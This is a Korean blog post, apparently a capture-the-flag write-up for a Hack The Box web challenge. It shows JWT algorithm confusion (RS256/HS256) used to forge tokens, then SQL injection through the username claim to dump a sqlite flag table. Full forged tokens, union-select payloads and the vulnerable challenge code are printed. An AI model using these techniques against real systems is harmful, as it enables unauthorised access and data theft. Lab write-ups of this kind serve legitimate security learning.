티스토리 뷰

728x90
반응형

문제 첫 페이지

처음 들어가면 위 페이지와 같이 나옵니다. 우선 회원가입을 위해서 아이디와 비밀번호에 test / test 를 입력해보았습니다. 회원가입 완료 후 로그인을 해보았습니다.

로그인하면 위와 같은 페이지가 나옵니다. 그 이외의 다른 페이지는 찾을 수 없어보입니다.

 

그리고 나서 쿠키값을 살펴보았습니다. JWT 토큰 값이 있습니다.

//Set-Cookie: session=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJwayI6Ii0tLS0tQkVHSU4gUFVCTElDIEtFWS0tLS0tXG5NSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTk1b1RtOUROemNIcjhnTGhqWmFZXG5rdHNiajFLeHhVT296dzB0clA5M0JnSXBYdjZXaXBRUkI1bHFvZlBsVTZGQjk5SmM1UVowNDU5dDczZ2dWRFFpXG5YdUNNSTJob1VmSjFWbWpOZVdDclNyRFVob2tJRlpFdUN1bWVod3d0VU51RXYwZXpDNTRaVGRFQzVZU1RBT3pnXG5qSVdhbHNIai9nYTVaRUR4M0V4dDBNaDVBRXdiQUQ3MytxWFMvdUN2aGZhamdwekhHZDlPZ05RVTYwTE1mMm1IXG4rRnluTnNqTk53bzVuUmU3dFIxMldiMllPQ3h3MnZkYW1PMW4xa2YvU015cFNLS3ZPZ2o1eTBMR2lVM2plWE14XG5WOFdTK1lpWUNVNU9CQW1UY3oydzJrekJoWkZsSDZSSzRtcXVleEpIcmEyM0lHdjVVSjVHVlBFWHBkQ3FLM1RyXG4wd0lEQVFBQlxuLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tXG4iLCJpYXQiOjE2MzE0NTM0Mjh9.6hH9r9eMVOb8rY88iO0Lp21fWG6w8ZY4NWbiJqQvLlkDwt9W8PIbjqh-k4OcULQk0WerkGaA0CBYC8BdSud0viIK50Lv6pjPzt16JrZPdvxp0Z-nT4LcSKfzhafwrpt874SR0Rq71eilUPXBAAbAZCaaFP596aATT_PNLWYuWA2hLnBZwZPPCjPBrPmkF_WCveFuIHJK2C0XjCbH-ey-Rc8AzyltvGzda2nF5X54YLFYGmWyaqyLNhObSt3GYcuM59M9v11r9H7wk9PzgM8X1G4S69k6iPcHVi8RcBxoV06cazKN0IXVfsWwHLxr045U5FzRVeEaK8mZs2mByg6XNw; Max-Age=900; Path=/; Expires=Sun, 12 Sep 2021 13:45:28 GMT

// header
{
  "alg": "RS256",
  "typ": "JWT"
}

// payload
{
  "username": "test",
  "pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n",
  "iat": 1631451371
}

JWT는 RS256(RSA 256) 방식을 사용하고 있었고, payload 에 public key 가 포함되어있었습니다.

JWT sign 은 private key 가 필요하지만 verify 는 public key 만 있어도 가능하기에 주어진 public key 를 이용해서 verify 를 해보았습니다. (https://jwt.io/ 사용)

보시다시피 verify 가 됩니다. 그럼 올바른 public key 임을 확인했습니다.

그리고 제공받은 소스코드를 보면 아래와 같은 코드를 볼 수 있습니다. (JWTHelper.js 파일 내용)

const fs = require('fs');
const jwt = require('jsonwebtoken');

const privateKey = fs.readFileSync('./private.key', 'utf8');
const publicKey  = fs.readFileSync('./public.key', 'utf8');

module.exports = {
    async sign(data) {
        data = Object.assign(data, {pk:publicKey});
        return (await jwt.sign(data, privateKey, { algorithm:'RS256' }))
    },
    async decode(token) {
        return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
    }
}

verify 할 때 사용되는 알고리즘이 RS256 만 있는 게 아니었습니다. HS256 도 같이 사용할 수 있다고 합니다.

HS256 은 RSA 방식과 달리 RSA 공개키로 대칭키 알고리즘 방식을 사용하기 때문에 아래와 같이 username 에 해당하는 부분을 변경하더라도 verify 할 수 있었습니다.

// username 을 admin 으로 변경한 jwt token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwayI6ICItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE5NW9UbTlETnpjSHI4Z0xoalphWVxua3RzYmoxS3h4VU9vencwdHJQOTNCZ0lwWHY2V2lwUVJCNWxxb2ZQbFU2RkI5OUpjNVFaMDQ1OXQ3M2dnVkRRaVxuWHVDTUkyaG9VZkoxVm1qTmVXQ3JTckRVaG9rSUZaRXVDdW1laHd3dFVOdUV2MGV6QzU0WlRkRUM1WVNUQU96Z1xuaklXYWxzSGovZ2E1WkVEeDNFeHQwTWg1QUV3YkFENzMrcVhTL3VDdmhmYWpncHpIR2Q5T2dOUVU2MExNZjJtSFxuK0Z5bk5zak5Od281blJlN3RSMTJXYjJZT0N4dzJ2ZGFtTzFuMWtmL1NNeXBTS0t2T2dqNXkwTEdpVTNqZVhNeFxuVjhXUytZaVlDVTVPQkFtVGN6Mncya3pCaFpGbEg2Uks0bXF1ZXhKSHJhMjNJR3Y1VUo1R1ZQRVhwZENxSzNUclxuMHdJREFRQUJcbi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLVxuIiwgImlhdCI6IDE2MzE0NTUzMjN9.tDS5fuWvEAzWcbRmcMXDmojSpPe4V8zaraPtufJ1-e0

// header
{
    "alg":"HS256",
    "typ":"JWT"
}

//payload
{
    "username": "admin",
    "pk":공개키 생략,
    "iat": int(현재시간)
}

하지만 존재하지 않은 계정으로의 접속은 위와 같이 db에 존재하지 않는 계정이라고 합니다. 그래서 다시 코드를 분석할 필요가 있었습니다.

우선 AuthMiddleware 미들웨어부터 살펴보면 아래와 같습니다.

const JWTHelper = require('../helpers/JWTHelper');

module.exports = async (req, res, next) => {
    try{
        if (req.cookies.session === undefined) return res.redirect('/auth');
        let data = await JWTHelper.decode(req.cookies.session);
        req.data = {
            username: data.username
        }
        next();
    } catch(e) {
        console.log(e);
        return res.status(500).send('Internal server error');
    }
}

앞서 username을 admin 으로 조작했을 때 위 코드에서 결국 req.data.username 에 admin 이 들어가게 됩니다. 그리고 아래 코드의 3번째 줄에 바로 이 값이 인자로써 사용됩니다.

router.get('/', AuthMiddleware, async (req, res, next) => {
    try{
        let user = await DBHelper.getUser(req.data.username);
        if (user === undefined) {
            return res.send(`user ${req.data.username} doesn't exist in our database.`);
        }
        return res.render('index.html', { user });
    }catch (err){
        return next(err);
    }
});

그리고 DBHelper 에 정의된 코드를 보면 아래와 같습니다.

const sqlite = require('sqlite3');

const db = new sqlite.Database('./database.db', err => {
    if (!!err) throw err;
    console.log('Connected to SQLite');
});

module.exports = {
    getUser(username){
        return new Promise((res, rej) => {
            db.get(`SELECT * FROM users WHERE username = '${username}'`, (err, data) => {
                if (err) return rej(err);
                res(data);
            });
        });
    },
    checkUser(username){
        return new Promise((res, rej) => {
            db.get(`SELECT * FROM users WHERE username = ?`, username, (err, data) => {
                if (err) return rej();
                res(data === undefined);
            });
        });
    },
    createUser(username, password){
        let query = 'INSERT INTO users(username, password) VALUES(?,?)';
        let stmt = db.prepare(query);
        stmt.run(username, password);
        stmt.finalize();
    },
    attemptLogin(username, password){
        return new Promise((res, rej) => {
            db.get(`SELECT * FROM users WHERE username = ? AND password = ?`, username, password, (err, data) => {
                if (err) return rej();
                res(data !== undefined);
            });
        });
    }
}

getUser 함수를 보면 어떠한 query 문에 대한 필터링 없이 username 값이 그대로 삽입됨을 알 수 있습니다. 이로써 SQL Injection 이 가능함을 알 수 있었습니다.

 

그리고 아래 페이로드를 이용해서 아이디가 user인 타사용자로의 로그인이 가능함을 알 수 있었습니다. 참고로 DB는 sqlite3 을 이용합니다.

// payload
payload={
    "username": "test' or 1-- -",
    "pk":공개키값,
    "iat": int(현재시간)
}

// token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJ0ZXN0JyBvciAxLS0gLSIsICJwayI6ICItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE5NW9UbTlETnpjSHI4Z0xoalphWVxua3RzYmoxS3h4VU9vencwdHJQOTNCZ0lwWHY2V2lwUVJCNWxxb2ZQbFU2RkI5OUpjNVFaMDQ1OXQ3M2dnVkRRaVxuWHVDTUkyaG9VZkoxVm1qTmVXQ3JTckRVaG9rSUZaRXVDdW1laHd3dFVOdUV2MGV6QzU0WlRkRUM1WVNUQU96Z1xuaklXYWxzSGovZ2E1WkVEeDNFeHQwTWg1QUV3YkFENzMrcVhTL3VDdmhmYWpncHpIR2Q5T2dOUVU2MExNZjJtSFxuK0Z5bk5zak5Od281blJlN3RSMTJXYjJZT0N4dzJ2ZGFtTzFuMWtmL1NNeXBTS0t2T2dqNXkwTEdpVTNqZVhNeFxuVjhXUytZaVlDVTVPQkFtVGN6Mncya3pCaFpGbEg2Uks0bXF1ZXhKSHJhMjNJR3Y1VUo1R1ZQRVhwZENxSzNUclxuMHdJREFRQUJcbi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLVxuIiwgImlhdCI6IDE2MzE0NTgyNzJ9.tuaD50Jc6Lq4nAIXarc3Y0ZsGHhA67F3NH8Qx-VFIy4

만약 SQL 구문에 오류가 난다면 아래와 같이 어떤 오류인지 확인할 수도 있었습니다.

소스코드 상에는 어떤 테이블이 있는 지 확인되는 바가 없기 때문에 직접 Database 목록, Table 목록을 알아내야 했습니다.

일반적으로 sqlite 의 경우 새로운 DB를 만들고자 하면 내부적으로 아래와 같은 query 문이 동작합니다.

sqlitebrowser

여기서 중요하게 봐야할 것은 sqlite_master 입니다. mysql 에서도 db schema, table_name, column_names 등을 찾듯이 sqlite 에서는 sqlite_master 테이블을 살펴봐야 합니다.

payload={
    "username": "test' union select 1, tbl_name, 3 from sqlite_master limit 0,1-- -",
    "pk":public_key,
    "iat": now
}

Welcome flag_storage<br>
This site is under development. <br>
Please come back later.

위와 같은 query문을 실행했을 때는 flag_storage 라는 테이블을 확인할 수 있습니다. 그리고 컬럼명을 알아내기 위해서 아래와 같은 페이로드를 사용했습니다.

payload={
    "username": "test' union select 1, sql, 3 from sqlite_master where tbl_name='flag_storage' limit 0,1-- -",
    "pk":public_key,
    "iat": now
}

Welcome CREATE TABLE &quot;flag_storage&quot; (
&quot;id&quot;  INTEGER PRIMARY KEY AUTOINCREMENT,
&quot;top_secret_flaag&quot;    TEXT
)<br>
This site is under development. <br>
Please come back later.

id 와 top_secret_flaag 라는 컬럼명을 확인했습니다. 이젠 해당 값을 조회해보겠습니다.

payload={
    "username": "test' union select 1, top_secret_flaag, 3 from flag_storage limit 0,1-- -",
    "pk":public_key,
    "iat": now
}

Welcome HTB{가려짐}<br>
This site is under development. <br>
Please come back later.

그리고 결국 조회했더니 플래그가 나왔습니다.

 

결론적으로 JWT sign 은 RS256 으로 하면서 JWT verify 는 RS256 뿐만 아니라 HS256 을 허용함과 동시에 token 내에 public key를 노출함으로써 token 값을 변조할 수 있었고, 서버 내부 SQL Injection 취약점으로인해서 DB 정보를 추출함으로써 문제를 풀 수 있었습니다.

728x90
반응형
댓글